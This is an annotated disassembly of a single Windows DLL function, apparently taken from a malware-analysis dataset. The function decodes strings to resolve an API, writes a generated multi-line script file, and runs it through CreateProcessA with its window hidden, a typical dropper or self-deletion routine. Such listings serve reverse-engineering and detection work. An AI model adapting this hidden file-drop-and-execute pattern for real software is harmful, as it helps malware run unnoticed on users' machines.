Function at 0x10001320
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb74
push 0x1001a190
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xa94], eax
push 0x1001a210
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
mov eax, dword [ebp - 0xa94]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x104
lea ecx, [ebp - 0x640]
push ecx
mov edx, dword [0x1001b1c4]
push edx
call dword [ebp - 8]
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 2
push eax
lea ecx, [ebp - 0x640]
push ecx
lea edx, [ebp - 0xa90]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x1001a020
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1001a028
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea edx, [ebp - 0x538]
push edx
push str._s_r_n
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x640]
push ecx
lea edx, [ebp - 0x538]
push edx
push 0x1001a030
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x538]
push ecx
push str._s_r_n
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x538]
push ecx
push 0x1001a03c
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x538]
push eax
push str._s_r_n
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0xa90]
push edx
lea eax, [ebp - 0x538]
push eax
push str._nd5_t_t_LkkG
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x538]
push edx
push str._s_r_n
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x538]
push ecx
push 0x1001a064
lea ecx, [ebp - 0x940]
call fcn.10001980
push eax
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10001535
xor al, al
jmp 0x100015f3
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 4], eax
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x538]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000156e
xor al, al
jmp 0x100015f3
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
lea ecx, [ebp - 0x18]
push ecx
call fcn.1000f930
add esp, 8
push 0x44
lea edx, [ebp - 0x988]
push edx
call fcn.1000f930
add esp, 8
mov dword [ebp - 0x988], 0x44
mov dword [ebp - 0x95c], 1
xor eax, eax
mov word [ebp - 0x958], ax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x988]
push edx
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret